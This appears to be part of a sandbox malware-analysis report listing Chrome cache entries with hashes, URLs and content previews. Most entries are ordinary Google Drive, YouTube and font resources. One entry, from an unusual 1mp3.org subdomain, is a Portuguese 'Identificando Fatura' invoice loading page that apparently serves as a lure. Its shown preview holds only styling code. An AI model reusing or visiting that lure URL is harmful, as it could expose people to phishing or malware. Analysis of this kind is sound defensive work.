SHA-256:	358E814139D3ED8469B36935A071BE6696CCAD7DD9BDBFDB80C052B068AE2A50
SHA-512:	B73C1A81997ABE12DBA4AE1FA38F070079448C3798E7161C9262CCBA6EE6A91E8A243F0E4888C8AEF33CE1CF83818FC44C85AE454A522A079D08121CD8628D00
Malicious:	false
URL:	https://ssl.gstatic.com/images/branding/product/1x/drive_2020q4_32dp.png
Preview:	.PNG........IHDR... ... .....szz.....IDATx.b .....+......m..dW.@..tm.Y.....m.....m.m..L.\|.....{..b...t..........=H..qt..V..X..<jQc...p...fdU.\2.....9T...Jz!9...L.)&.....n....`~.T.\.\.$.....qQ.....LFOx......^&,"bB..Lh9$_.6<...A...Q.T&y.,'...p...W`.2.?X(.o.4.J?.2...@.4.....X..c......[UZJ...MN.].z..f..DFe.J.....:!r...0X......).....^..!....u..c..R4.GH....Y....E....Q......+!..)...e"......,.Ge.r.T..!..r..(.\|.9f...}......(...s..N...[..~.%6QF..g..r......CN.e"(..uY.h._1.H.e....r.k..%^S.c..<..0.s.j..,D........]..y.2(..OC.o\.3..".....cw...:;.btq......w=.......R-[].4..]...?.....o..K../cC.<O...y..O.......{.-'Ln9..M.*6t.(.........o.K.$....bz.X._d......Z].U.....t....Bf.Zl.^vA._..g.{l....V...{....=.jua..[...k......j....Y\...!..+.m..X..t(....."..Mz.26l....7X.C...-...Z.lvl.......y}x..........7.m.VV....IEND.B`.

Chrome Cache Entry: 259

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (501)
Category:	downloaded
Size (bytes):	1000
Entropy (8bit):	5.292388027033311
Encrypted:	false
SSDEEP:	24:NJXIbtEHvIYWwmqAK/HJ2cNAXzk5vuHM8aJLtMCRWZ4FhQ:NJXmtEPT6cLAXzk5kaJL+CwYhQ
MD5:	56C1AEC52EC95A79B7127868330F6057
SHA1:	BAC7C14617F48FFAC89FF24184F8C27D95E03506
SHA-256:	145375F5B940A6D21FB3D583EE8D0F55E823222A3511B746F8A52055E723C5AA
SHA-512:	A821CDD7B782AB78D57784C7B137A1C82549C4BEE26AB58ACAC7CE2AD661B0C600C76BD2EA84782717E856D33CD3E21C64F00EA27CBB16A589E1A39584D4B630
Malicious:	false
URL:	https://youtube.googleapis.com/iframe_api
Preview:	var scriptUrl = 'https:\/\/youtube.googleapis.com\/s\/player\/89dfc5b3\/www-widgetapi.vflset\/www-widgetapi.js';try{var ttPolicy=window.trustedTypes.createPolicy("youtube-widget-api",{createScriptURL:function(x){return x}});scriptUrl=ttPolicy.createScriptURL(scriptUrl)}catch(e){}var YT;if(!window["YT"])YT={loading:0,loaded:0};var YTConfig;if(!window["YTConfig"])YTConfig={"host":"https://www.youtube.com"};.if(!YT.loading){YT.loading=1;(function(){var l=[];YT.ready=function(f){if(YT.loaded)f();else l.push(f)};window.onYTReady=function(){YT.loaded=1;var i=0;for(;i<l.length;i++)try{l[i]()}catch(e){}};YT.setConfig=function(c){var k;for(k in c)if(c.hasOwnProperty(k))YTConfig[k]=c[k]};var a=document.createElement("script");a.type="text/javascript";a.id="www-widgetapi-script";a.src=scriptUrl;a.async=true;var c=document.currentScript;if(c){var n=c.nonce\|\|c.getAttribute("nonce");if(n)a.setAttribute("nonce",.n)}var b=document.getElementsByTagName("script")[0];b.parentNode.insertBefore(a,b)})()};.

Chrome Cache Entry: 260

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (604)
Category:	downloaded
Size (bytes):	14558
Entropy (8bit):	5.707993436122279
Encrypted:	false
SSDEEP:	384:P6cGi+x77QTTHP/JdObr/1nnfGbgbc3GSWFeo8KYgy+i:ScYx70HKr/RfG0IWAo86i
MD5:	BB990FC4D3452B1BEC962E24357616DF
SHA1:	BBE744F6BD251A7DA49EB19869FEE1624BF46339
SHA-256:	24B300F33FF94AECAC0583D5C327238AD5A012F62911A3F45A7242549150ACB8
SHA-512:	6148FAA9E283168BE64FCE94F47E7E9E23F5D1028D9E9A4C9A60793D006BFA1CFAFA34A8447FDF42BC6BD8E232C505F885F0418C54689134119033EEAFECC7F0
Malicious:	false
URL:	"https://www.gstatic.com/_/apps-fileview/_/js/k=apps-fileview.v.en.uI26_hipfw4.O/am=wGA/d=0/rs=AO0039sRkkhQ7DX_Btd3fw-X7j5bjQ0r2Q/m=sy22,LBaJxb,sy24,pxafOd,sy23,sy28,sy29,sy2c,GI8h7,nAFL3,sy2d,sy2e,O626Fe"
Preview:	try{.var iQ=Symbol();.}catch(e){_DumpException(e)}.try{.B("LBaJxb");.var uRc=function(a){a=a.rect;return Math.floor(Math.max(a.height,a.width).2)},vRc={pseudoElement:"::after",duration:450,fill:"forwards",easing:"cubic-bezier(0.2, 0, 0, 1)"};var nQ=function(a){NO.call(this,a.Ca);this.Tg=!1;this[iQ]=!0};R(nQ,NO);nQ.ta=NO.ta;.nQ.prototype.od=function(a){var b;if(!this.Tg&&(a instanceof KeyboardEvent?a.key==="Enter"\|\|a.key===" ":1)){this.Tg=!0;(b=this.animation)==null\|\|b.cancel();clearTimeout(this.timeout);this.ca().ub("RBHQF-ksKsZd-OWXEXe-QDgCrf");var c=this.ca().el().getBoundingClientRect();var d=uRc({rect:c});a=a instanceof MouseEvent?{x:a.clientX-c.left,y:a.clientY-c.top}:{x:c.width/2,y:c.height/2};b=a={x:a.x-d/2,y:a.y-d/2};a=(c.width-d)/2;d=(c.height-d)/2;var e={rect:c};var f=e.rect;c=f.width;f=f.height;e=uRc(e);c=.""+(Math.sqrt(Math.pow(c,2)+Math.pow(f,2))+10+Math.max(.35Math.max(f,c),75))/e;e+="px";a={top:[0,0],left:[0,0],height:[e,e],width:[e,e],transform:["translate("+b.x+"px,

Chrome Cache Entry: 261

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2258)
Category:	downloaded
Size (bytes):	103444
Entropy (8bit):	5.6779328647850065
Encrypted:	false
SSDEEP:	3072:wqSwDygnFEXAcOp7ZdOYvlJLRBbpUPDmj8BIA:w+ygFEXAcOlvlf/s9
MD5:	72780597F8AA7F8E155A90CFC352014B
SHA1:	8E277F7192C70EBABA031CF2208396AE5279B6A9
SHA-256:	64E3FC1806FE4793FD388CFAACB501FE405D5E1ED3E75C4C1858425EE08D7309
SHA-512:	84D6449F5278F3AAFA829AB1227918061EC19E607B065D2402939E197ABB42612F8524C20CEC6FCAC4F64B377205BA3E0EC0428B39470F38874173FA6A5908E2
Malicious:	false
URL:	"https://www.gstatic.com/_/apps-fileview/_/js/k=apps-fileview.v.en.uI26_hipfw4.O/am=wGA/d=0/rs=AO0039sRkkhQ7DX_Btd3fw-X7j5bjQ0r2Q/m=sy66,sy11,sy6d,sy6l,sy6m,sy6o,sy6n,sy6r,rj51oe,gypOCd"
Preview:	try{.var Mge=function(a){for(var b=od.apply(1,arguments),c=a[0],d=0;d<a.length-1;d++)c+=String(b[d])+a[d+1];if(/[<>]/.test(c))throw Error("Ca`"+c);return c},Nge=function(){mL.apply(this,arguments)};R(Nge,mL);Nge.prototype.enqueue=function(a,b){this.insert(a,b)};var Oge=function(a,b){a%=b;return a*b<0?a+b:a},Pge=function(a){return 1-Math.pow(1-a,3)};.}catch(e){_DumpException(e)}.try{.var iLc=function(){return faa&&ha?!ha.mobile&&(ja("iPad")\|\|ja("Android")\|\|ja("Silk")):ja("iPad")\|\|ja("Android")&&!ja("Mobile")\|\|ja("Silk")},IP=function(){return!(faa&&ha?ha.mobile:!iLc()&&(ja("iPod")\|\|ja("iPhone")\|\|ja("Android")\|\|ja("IEMobile")))&&!iLc()};.}catch(e){_DumpException(e)}.try{.var CYe=function(a,b){this.C=a instanceof Cv?a:new Cv(a,b)};zl(CYe,uzb);CYe.prototype.Wd=function(a,b,c,d){var e=Yf(a);var f=e.body;e=e.documentElement;e=new Cv(f.scrollLeft\|\|e.scrollLeft,f.scrollTop\|\|e.scrollTop);f=this.C.x+e.x;e=this.C.y+e.y;var g=vzb(a);f-=g.x;e-=g.y;zG(new Cv(f,e),a,b,c,null,null,d)};var DYe=function(

Chrome Cache Entry: 262

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	2043
Entropy (8bit):	4.434548132935983
Encrypted:	false
SSDEEP:	24:hPJCIZXCqWoHvp87aW4eChwIVf9ELTYMViCLQXQDBls3ASD7RRrHi5DmqvC+8rMf:tpvFiO7J5gLIXQDw3f/H5qv0Qf
MD5:	6E461102C8F053DBBFEC9A18B08615E3
SHA1:	1DC6F887712D11A2AEDCC910003A023B25739D9E
SHA-256:	010A57AF9C1EA1B69E03194EF711BB05CD6836DAF9E79291F02CF6C33FA53197
SHA-512:	40F78C56E3B60D7109A203C3601C9BD5658BD219042A19665BA7E3B40533807B6814A2209919AF8561FEF284AFDB0A03422E771D3BC5CFB6D20B1B651FBFE067
Malicious:	false
URL:	https://yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org/fatura/fatura.html
Preview:	<!DOCTYPE html>..<html lang="pt-BR">..<head>.. <meta charset="UTF-8">.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <title>Identificando Fatura</title>.. <style>.. body {.. margin: 0;.. height: 100vh;.. display: flex;.. flex-direction: column;.. justify-content: center;.. align-items: center;.. background-color: #f0f2f5;.. font-family: Arial, sans-serif;.. }.... .loader-container {.. text-align: center;.. }.... .loader {.. width: 60px;.. height: 60px;.. border: 5px solid #f3f3f3;.. border-top: 5px solid #3498db;.. border-radius: 50%;.. animation: spin 1s linear infinite;.. margin: 20px auto;.. }.... .timer {.. font-size: 24px;.. color: #333;.. margin: 20px 0;.. }.... .message {.

Chrome Cache Entry: 263

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.16293190511019
Encrypted:	false
SSDEEP:	3:CUmExltxlHh/:Jb/
MD5:	FC94FB0C3ED8A8F909DBC7630A0987FF
SHA1:	56D45F8A17F5078A20AF9962C992CA4678450765
SHA-256:	2DFE28CBDB83F01C940DE6A88AB86200154FD772D568035AC568664E52068363
SHA-512:	C87BF81FD70CF6434CA3A6C05AD6E9BD3F1D96F77DDDAD8D45EE043B126B2CB07A5CF23B4137B9D8462CD8A9ADF2B463AB6DE2B38C93DB72D2D511CA60E3B57E
Malicious:	false
URL:	https://ssl.gstatic.com/docs/common/cleardot.gif?zx=io5jbyyr4uti
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 264

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4005)
Category:	downloaded
Size (bytes):	121329
Entropy (8bit):	5.473441016381779
Encrypted:	false
SSDEEP:	1536:OYIcfKtW2VBk7UhuCFpn7KWntTbxsH5Id3VwrbPC7hw5O+qNAyyLO5/+QV5bPccK:dIyKGGK4z80enC7hR5bPcH388
MD5:	F10030C11ADD315E043B65E41AA7254A
SHA1:	286D8F55E81CD13AC68B87E321B93A4DFB71EC44
SHA-256:	B0DF1F414593AECA0C09A22E6F6C0C5D0AC5280D16D064DD5FF46F0E0902B476
SHA-512:	97736AAED31E0DB649D5888AE3F189D4337685CB94BC2455C9E6C573EED7A97FF63018AB929C2622EC95AF73158B14FEE5E0253DE2F55363A0ECB0650B89CE93
Malicious:	false
URL:	https://www.gstatic.com/feedback/js/help/prod/service/lazy.min.js
Preview:	(function(){var m,aa=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},ba=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ca=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");.},t=ca(this),v=function(a,b){if(b)a:{var c=t;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ba(c,a,{configurable:!0,writable:!0,value:b})}};.v("Symbol",function(a){if(a)return a;var b=function(g,f){this.$jscomp$symbol$id_=g;ba(this,"description",{configurable:!0,writable:!0,value:f})};b.prototype.toString=function(){return this.$jscomp$symbol$id_};var c="jscomp_symbol_"+(Math.random

Chrome Cache Entry: 265

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1003)
Category:	downloaded
Size (bytes):	9173
Entropy (8bit):	5.395017730384565
Encrypted:	false
SSDEEP:	192:LoFUVkk1/Xw1m+ZF0U12sg8s3GiYYKZXxfmXEiGnf:0mSc/oZ92GeK/fmHGnf
MD5:	70C4D7FEC0255A0D491C64F787E4DE8C
SHA1:	26AD5B9FE3D6758BF14C1B8B20986A2E220FF22E
SHA-256:	F7360B2782F60741AFF967D4B034DACEE366BE82915722D6F8F631A2AA602141
SHA-512:	8D340B9DF28FF992E215CEEBD7AFAA84812058824FF5EBF9EA18EC5907A0819FDE8040BE8970B4F297762E2614BD054B001B47100CA0E7B931FA59A56624D649
Malicious:	false
URL:	"https://www.gstatic.com/_/apps-fileview/_/js/k=apps-fileview.v.en.uI26_hipfw4.O/am=wGA/d=0/rs=AO0039sRkkhQ7DX_Btd3fw-X7j5bjQ0r2Q/m=n73qwf,sye,syf,GpztQ"
Preview:	try{.B("n73qwf");..D();.}catch(e){_DumpException(e)}.try{.var SGc=function(){var a=Gga(Rd,Mga);if(a===Fga)throw Error("$a");return a},TGc=function(){var a=Rga();if(!a)throw Error("ab");return a},UGc=function(a){return typeof a==="object"?a.ctor===KO?{jsname:a.jsname}:a:{jsname:a}},VGc=function(a){var b=[],c=a.C==null?null:dPa(a,ePa(a));return c===null?dPa(a,b):c},LO=function(a,b,c){return c===!0?a.ub(b):c===!1?a.ob(b):a.each(function(d){var e=!rj(d,b);oF(d,b,e)})},MO=function(a,b){var c=[];a.each(function(d){(d=d.querySelector(b))&&c.push(d)});return new yF(c)};var KO=Symbol("eh");var NO=function(a){sw.call(this,a.Ca);var b=this;this.L=TGc();this.Na=SGc();this.R={};this.Hc=null;this[ola]=void 0;this.addOnDisposeCallback(function(){var c=Nf(b.L);c&&$f.get(c)&&xa($f.get(c),b.ca().el())})};R(NO,sw);NO.ta=function(){return{}};h=NO.prototype;h.toString=function(){return rw(this)+"["+Ga(this.L)+"]"};h.Ah=function(){return this.Na.Ah()};h.hn=function(){return this.Na.hn()};h.Id=function(){ret

Chrome Cache Entry: 266

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	28
Entropy (8bit):	4.280394654123195
Encrypted:	false
SSDEEP:	3:WZoSISHmn:WZoSfmn
MD5:	4708D1B37F72B842EFE4238A9825064B
SHA1:	889321990FC6854DD351DF9DE8D41D2C9253BAF0
SHA-256:	10B772A54149F2086265D2CAF0C434B7CABE913BBE3665CB9DE5FAEC5EB2FB7F
SHA-512:	1285F4AEFE4F061D9D53FE96509AD93070843265C306123D197DF3603EEFF92FC6017019410015203B2DF139CC9594E387246D4211EADE320A7E77CCCA6EFDDA
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISFwncHhV_nsiGYRIFDZFhlU4SBQ0G7bv_?alt=proto
Preview:	ChIKBw2RYZVOGgAKBw0G7bv/GgA=

Chrome Cache Entry: 267

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	2451
Entropy (8bit):	4.2906135251328275
Encrypted:	false
SSDEEP:	48:GDFHfyTY1jmTsC1qZ+LyL31WEFTs8OFiboiaRwdPkpIYu:GRHfyUTZ+LyL3MENs8OrRJuz
MD5:	88E46092F1E21D77B4A7DBD3FFF2A0A5
SHA1:	78C2F692B3F3893411D97A9FA266222B296CAD9D
SHA-256:	D38832333ABD3B480C241E40A2F008A2A53480016751456FF058F12E3B170D4C
SHA-512:	ABBF940C7117B2E287FE087FBB31126D5C711C9D3C84234B0FE6F9FFB85BFD9D1F0D3ED63CFF1E9C2F3C8EC65F4AC81E31B6AD190D4F122CB249126AB32C1668
Malicious:	false
URL:	https://blobcomments-pa.clients6.google.com/v1/metadata?docId=1RIwATlCMDmDpyFBDs3C4xHwU5PwLh4nh&revisionId=0BzYJmw_fvN1BdFFTOHRUQ3FiajErdmo0L0pEbUdsNFRIdVJ3PQ&userLocale=en&timeZoneId=Etc%2FGMT%2B5&documentResourceKey.resourceKey&forceImportEnabled=true&key=AIzaSyCMp6sr4oTC18AWkE2Ii4UBZHTHEpGZWZM&%24unique=gc797
Preview:	{. "serializedDocosKeyData": "[null,null,0,null,null,null,null,1,[\"Anonymous\",null,\"//ssl.gstatic.com/docs/common/blue_silhouette96-0.png\",\"ANONYMOUS_105250506097979753968\",1,null,1,null,1],1,\"AAHRpnXvlMcbgtKvFRcBctnG4vde5KFytK3-nZ6-KFTvhJ3ptInXaU_N98OazeZ5MVaPkr_y5qS7OWCvJAnNtwkAAiT2-BTCOdw\",null,null,null,null,null,1,null,null,1,null,null,null,null,1,0,null,null,null,0,null,null,0,null,null,null,null,1,0,null,null,null,null,[\"tf\",60000,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,0,0,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,0,0,null,null,null,1,null,null,null,null,null,null,0,null,null,\"\",null,0,null,null,null,null,0],[[5703839,5704621,5704745,5705891,5707899,5711538,5712270,5712639,5712647,5713195,5714051,5737800,5792878,5799034,48966262,49372463,49375342,49472091,49622751,49623141,49643716,49643963,49769385,49822

Chrome Cache Entry: 268

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	2989594
Entropy (8bit):	5.647468006969254
Encrypted:	false
SSDEEP:	24576:rCzBZ7KPOoN0BjTd0vg3D9t+T7Kb3zLyvKm:kBZ7KPOoNY0SD9t+T7Kb3zeim
MD5:	3171C586289E343C7CCA09AF376A7DCB
SHA1:	D153954C0E3626104F692E886D43C9CCCEA4A1B7
SHA-256:	A5AC01C5BEDB894FDDD741C011DFAFCDDC14F44F12F307157C2B0441A5A52287
SHA-512:	0CC42DD9790827F039FD1E436633E6584E32B8ABF69FB06706F209F9BEB1AE064EE490C2CF1342FB07EA509797E2CDD9C3923C1A5F8F568E8DD5E497BF32EB8A
Malicious:	false
URL:	https://www.gstatic.com/_/apps-fileview/_/ss/k=apps-fileview.v.sWuz-QmvDu0.L.W.O/am=wGA/d=0/rs=AO0039vYTxVqdn4TanMnM6drMdo1qPEmtA
Preview:	.Fng7d{width:100%;border-radius:50%}.TW497b{height:56px}.TW497b.znIWoc{border-bottom:1px solid var(--gm3-sys-color-outline-variant,#c4c7c5)}.mVuend{height:72px}.mVuend.znIWoc{border-bottom:1px solid var(--gm3-sys-color-outline-variant,#c4c7c5)}.mVuend .W7g1Rb-rymPhb-Gtdoyb{gap:8px}.WgAPob{margin-top:8px;margin-bottom:8px}.OiePBf-zPjgPe{display:var(--gm3-focus-ring-outward-display,none);pointer-events:none;position:absolute;z-index:1;border-start-start-radius:calc(var(--gm3-focus-ring-outward-target-shape-start-start, 0px) + var(--gm3-focus-ring-outward-offset, 2px));border-start-end-radius:calc(var(--gm3-focus-ring-outward-target-shape-start-end, 0px) + var(--gm3-focus-ring-outward-offset, 2px));border-end-end-radius:calc(var(--gm3-focus-ring-outward-target-shape-end-end, 0px) + var(--gm3-focus-ring-outward-offset, 2px));border-end-start-radius:calc(var(--gm3-focus-ring-outward-target-shape-end-start, 0px) + var(--gm3-focus-ring-outward-offset, 2px));inset:calc(var(--gm3-focus-ring-out

Chrome Cache Entry: 269

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	671
Entropy (8bit):	4.971968787420344
Encrypted:	false
SSDEEP:	12:UJO694211FfgsO6ZRoT6pWiIKhhxkmgs6ZmOHc9n+5cMK00k14enEPCedG:G9JFfbOYssNVkmbYmOOk4TfenEPCD
MD5:	200544343AC58000DD445A295F748A8E
SHA1:	70F740C6752C4DE850A5482053CA052F3F68B295
SHA-256:	F57F59415E41576EDD75269D3DA0D9F6B648C86B072AB4BFBA64F3F3C2F5A16D
SHA-512:	AA34DCB2556E69A6C25D6732E8FAF2BE7F54E0AADC305CCBE4B3C3A4C11BE60DA0ABC02EF2A8173507F15C2CB4D356B3A9EFE010095EB5EEE0C880E1B924EF24
Malicious:	false
URL:	https://fonts.googleapis.com/css2?family=Google+Material+Icons:wght@400;500;700
Preview:	/. See: https://fonts.google.com/license/googlerestricted. /./ fallback */.@font-face {. font-family: 'Google Material Icons';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/googlematerialicons/v143/Gw6kwdfw6UnXLJCcmafZyFRXb3BL9rvi0QZG3Q.woff2) format('woff2');.}...google-material-icons {. font-family: 'Google Material Icons';. font-weight: normal;. font-style: normal;. font-size: 24px;. line-height: 1;. letter-spacing: normal;. text-transform: none;. display: inline-block;. white-space: nowrap;. word-wrap: normal;. direction: ltr;. -webkit-font-feature-settings: 'liga';. -webkit-font-smoothing: antialiased;.}.

Chrome Cache Entry: 270

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4376)
Category:	downloaded
Size (bytes):	74563
Entropy (8bit):	5.580765478251947
Encrypted:	false
SSDEEP:	1536:SrJdCj0gyvXCKRmo6tVVyvS1rCuAAylz71j8evTt:8gyvyavOrCvTzxjft
MD5:	CA9206427A2733F41E0379A11DD9B18C
SHA1:	D6317808EC4B6A5F08386AE257E7B00319B5E52A
SHA-256:	C045CD6F29CC21A6EC6E21E457E0A0E8625C9D002A1A7AE96E4EA2D72AC1B41A
SHA-512:	5A37A023B5C7AEE5B0FC5557A3BCC08A3E4C3B6A7D04CA1C4B4CCFB4FBEFBDB2D0754B6F28C8B230A45833CAAB6007677C2D97428EFDDF45CC46D758B2081F1C
Malicious:	false
URL:	https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.x7CxCIZpks8.O/m=googleapis_proxy/rt=j/sv=1/d=1/ed=1/am=AAAg/rs=AHpOoo8czmnaLIncRgBQP7N2THncpDJ9mQ/cb=gapi.loaded_0?le=scs
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x200000, ]);.var aa,ba,fa,ma,na,ra,sa,ua;aa=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ba=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.fa=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.ka=fa(this);ma=function(a,b){if(b)a:{var c=_.ka;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ba(c,a,{configurable:!0,writable:!0,value:b})}};.ma("Symbol",function(a){if(a)r

Chrome Cache Entry: 271

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3883)
Category:	downloaded
Size (bytes):	923231
Entropy (8bit):	5.549222597602766
Encrypted:	false
SSDEEP:	6144:DePwKLdKD8tD2lDbimpyVDDvFSPAhQouT0+NMAKC1WWCAafi0rgJrX8Y93JWn9Bg:DW9wXyBihWWCAafirXWof5
MD5:	756AC7DD286BFCFFE603729E71219D7D
SHA1:	06F1C459FB3CC71C853772BB615E38BAB129B90F
SHA-256:	1EC2D9B2C6D716A7CA01E4D8F148D84E80FA46BD4C5FC79DFC76B017C242FD9B
SHA-512:	C9310105A7A2334373EE6858665E420F4AC5863378BFFFD75387572441EC68219C0F0460992247CF7CC5B859D9F452DE74BCEAB1452C80938FECC33BE15167AF
Malicious:	false
URL:	"https://www.gstatic.com/_/apps-fileview/_/js/k=apps-fileview.v.en.uI26_hipfw4.O/am=wGA/d=0/rs=AO0039sRkkhQ7DX_Btd3fw-X7j5bjQ0r2Q/m=sy3s,sy3v,dSirkf,sy62,sy42,sy44,n90YA,ZGAB2e,sLGWFe,sy2w,sy3x,sy2u,sy4r,sy1i,sy3w,sy40,sy43,sy4f,M79aPc,sy1o,sy2v,sy33,sy3y,sy3z,sy47,sy68,sy69,sy65,syp,syq,syy,sy1k,sy1w,sy2s,sy3t,sy4j,sy4q,sy5t,sy61,nJ4XF,sy63,sy64,sy67,sy6a,sy6b,UKcSG,AtsVYc"
Preview:	try{.var BYc=function(a){if(AYc.has(a))return AYc.get(a);throw Error("Jh`"+a);},DYc=function(a){if(CYc.has(a))return CYc.get(a);throw Error("Kh`"+a);},EYc=function(a){for(var b=new Map,c=n(Object.keys(a)),d=c.next();!d.done;d=c.next())d=d.value,b.set(a[d].string,a[d].kk);return b},NR=function(a){this.aa=p(a)};R(NR,x);for(var FYc={ARROW_KEYS:{string:"arrow_keys",kk:"Wxn7ub"},AUTOMATED:{string:"automated",kk:"wjpLYc"},CLICK:{string:"click",kk:"cOuCgd"},DRAGEND:{string:"dragend",kk:"RlD3W"},DROP:{string:"drop",kk:"DaY83b"},GENERIC_CLICK:{string:"generic_click",kk:"szJgjc"},HOVER:{string:"hover",kk:"ZmdkE"},IMPRESSION:{string:"impression",kk:"xr6bB"},KEYBOARD_ENTER:{string:"keyboard_enter",kk:"SYhH9d"},KEYPRESS:{string:"keypress",kk:"Kr2w4b"},LONG_PRESS:{string:"long_press",kk:"tfSNVb"},MOUSEOVER:{string:"mouseover",.kk:"FrfE3b"},RIGHT_CLICK:{string:"rightclick",kk:"CYQmze"},SCROLL:{string:"scroll",kk:"XuHpsb"},SWIPE:{string:"swipe",kk:"eteedb"},VIS:{string:"vis",kk:"HkgBsf"}},AYc=EYc(FYc)

Chrome Cache Entry: 272

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3
Entropy (8bit):	1.584962500721156
Encrypted:	false
SSDEEP:	3:P:P
MD5:	8A80554C91D9FCA8ACB82F023DE02F11
SHA1:	5F36B2EA290645EE34D943220A14B54EE5EA5BE5
SHA-256:	CA3D163BAB055381827226140568F3BEF7EAAC187CEBD76878E0B63E9E442356
SHA-512:	CA4B6DEFB8ADCC010050BC8B1BB8F8092C4928B8A0FBA32146ABCFB256E4D91672F88CA2CDF6210E754E5B8AC5E23FB023806CCD749AC8B701F79A691F03C87A
Malicious:	false
URL:	https://blobcomments-pa.clients6.google.com/v1/pdfFields?docId=1RIwATlCMDmDpyFBDs3C4xHwU5PwLh4nh&key=AIzaSyCMp6sr4oTC18AWkE2Ii4UBZHTHEpGZWZM&%24unique=gc797
Preview:	{}.

Chrome Cache Entry: 273

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15344, version 1.0
Category:	downloaded
Size (bytes):	15344
Entropy (8bit):	7.984625225844861
Encrypted:	false
SSDEEP:	384:ctE5KIuhGO+DSdXwye6i9Xm81v4vMHCbppV0pr3Ll9/w:cqrVO++tw/9CICFbQLlxw
MD5:	5D4AEB4E5F5EF754E307D7FFAEF688BD
SHA1:	06DB651CDF354C64A7383EA9C77024EF4FB4CEF8
SHA-256:	3E253B66056519AA065B00A453BAC37AC5ED8F3E6FE7B542E93A9DCDCC11D0BC
SHA-512:	7EB7C301DF79D35A6A521FAE9D3DCCC0A695D3480B4D34C7D262DD0C67ABEC8437ED40E2920625E98AAEAFBA1D908DEC69C3B07494EC7C29307DE49E91C2EF48
Malicious:	false
URL:	https://fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu4mxK.woff2
Preview:	wOF2......;........H..;..........................d..@..J.`..L.T..<.....x.....^...x.6.$..6. ..t. ..I.h\|.l....A....b6........(......@e.]...:..-.0..r.)..hS..h...N.).D.........b.].......^..t?.m{...."84...9......c...?..r3o....}...S]....zbO.../z..{.....~cc....I...#.G.D....#e.A..b...b`a5P.4........M....v4..fI#X.z,.,...=avy..F.a.\9.P\|.[....r.Q@M.I.._.9..V..Q..]......[ {u..L@...]..K......]C....l$.Z.Z...Zs.4........ x.........F.?.7N..].\|.wb\....Z{1L#..t....0.dM...$JV...{..oX...i....6.v.~......)\|.TtAP&).KQ.]y........'...:.d..+..d..."C.h..p.2.M..e,.UP..@.q..7..D.@...,......B.n. r&.......F!.....\...;R.?-.i...,7..cb../I...Eg...!X.)5.Aj7...Ok..l7.j.A@B`".}.w.m..R.9..T.X.X.d....S..`XI..1... .$C.H.,.\. ..A(.AZ.................`Wr.0]y..-..K.1.............1.tBs..n.0...9.F[b.3x...$....T..PM.Z-.N.rS?I.<8eR'.3..27..?;..OLf.Rj.@.o.W...........j~ATA....vX.N:.3dM.r.)Q.B...4i.f..K.l..s....e.U.2...k..a.GO.}..../.'..%$..ed..'..qP....M..j....../.z&.=...q<....-..?.A.%..K..

Chrome Cache Entry: 274

